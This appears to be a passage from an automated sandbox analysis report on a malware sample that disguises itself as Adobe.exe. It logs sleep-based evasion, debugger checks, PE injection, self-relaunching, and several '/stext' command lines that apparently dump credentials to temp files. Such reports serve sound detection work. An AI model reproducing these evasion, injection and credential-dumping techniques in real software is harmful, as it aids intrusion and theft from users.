                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239531Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239421Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239312Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239199Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 239094Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238984Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238875Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238766Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238655Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238531Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 238393Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 237984Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 237828Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239859Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239749Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239641Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239516Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239406Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239297Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239890Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239780Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239648Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239531Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239422Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239313Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239860
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239735
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239625
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239516
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239366
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239032
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 238813
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 922337203685477
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 240000
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239874
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239763
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239649
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239531
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239375
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 239016
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 238758
                Source: C:\ProgramData\Adobe\Adobe.exeThread delayed: delay time: 238625
                Source: Adobe.exe, 00000004.00000002.4178605857.000000000160C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW1
                Source: Adobe.exe, 00000004.00000002.4178218379.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Adobe.exe, 00000004.00000002.4178605857.000000000160C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: bhv96DB.tmp.5.drBinary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
                Source: bhv96DB.tmp.5.drBinary or memory string: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpXOaQeBtbq%2B7LgJauNdx5lF%2FQ%2FOy2qwXRNGjU%3D&Manufacturer=VMware%2C%20Inc.&Model=VMware20%2C1&Language=en&Locale=en-US
                Source: C:\ProgramData\Adobe\Adobe.exeAPI call chain: ExitProcess graph end node
                Source: C:\ProgramData\Adobe\Adobe.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_004349F9
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,5_2_0040DD85
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,2_2_0041CB50
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004432B5 mov eax, dword ptr fs:[00000030h]2_2_004432B5
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_10004AB4 mov eax, dword ptr fs:[00000030h]4_2_10004AB4
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00412077 GetProcessHeap,HeapFree,2_2_00412077
                Source: C:\ProgramData\Adobe\Adobe.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_004349F9
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00434B47 SetUnhandledExceptionFilter,2_2_00434B47
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_0043BB22
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_00434FDC
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,4_2_100060E2
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,4_2_10002639
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,4_2_10002B1C
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Injects a PE file into a foreign processes
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeMemory written: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory written: C:\ProgramData\Adobe\Adobe.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory written: C:\ProgramData\Adobe\Adobe.exe base: 400000 value starts with: 4D5AJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeMemory written: C:\ProgramData\Adobe\Adobe.exe base: 400000 value starts with: 4D5A
                Source: C:\ProgramData\Adobe\Adobe.exeMemory written: C:\ProgramData\Adobe\Adobe.exe base: 400000 value starts with: 4D5A
                Maps a DLL or memory area into another process
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: NULL target: C:\ProgramData\Adobe\Adobe.exe protection: execute and read and writeJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: NULL target: C:\ProgramData\Adobe\Adobe.exe protection: execute and read and writeJump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeSection loaded: NULL target: C:\ProgramData\Adobe\Adobe.exe protection: execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe2_2_00412117
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00419627 mouse_event,2_2_00419627
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess created: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe "C:\Users\user\Desktop\rSOD219ISF-____.scr.exe"Jump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe" Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\trjggazotdeaznpdaliydbqndn"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\dtpyhskqhlwfkbdpjwuzggcwmubqst"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\onurakujvtpjmhztaghtrsxnnatrlexmp"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"Jump to behavior
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: C:\ProgramData\Adobe\Adobe.exeProcess created: C:\ProgramData\Adobe\Adobe.exe "C:\ProgramData\Adobe\Adobe.exe"
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerG
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager0
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager5
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_00434C52 cpuid 2_2_00434C52
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: EnumSystemLocalesW,2_2_00452036
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,2_2_004520C3
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetLocaleInfoW,2_2_00452313
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: EnumSystemLocalesW,2_2_00448404
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,2_2_0045243C
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetLocaleInfoW,2_2_00452543
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,2_2_00452610
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetLocaleInfoA,2_2_0040F8D1
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: GetLocaleInfoW,2_2_004488ED
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,2_2_00451CD8
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: EnumSystemLocalesW,2_2_00451F50
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: EnumSystemLocalesW,2_2_00451F9B
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Data.Linq.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
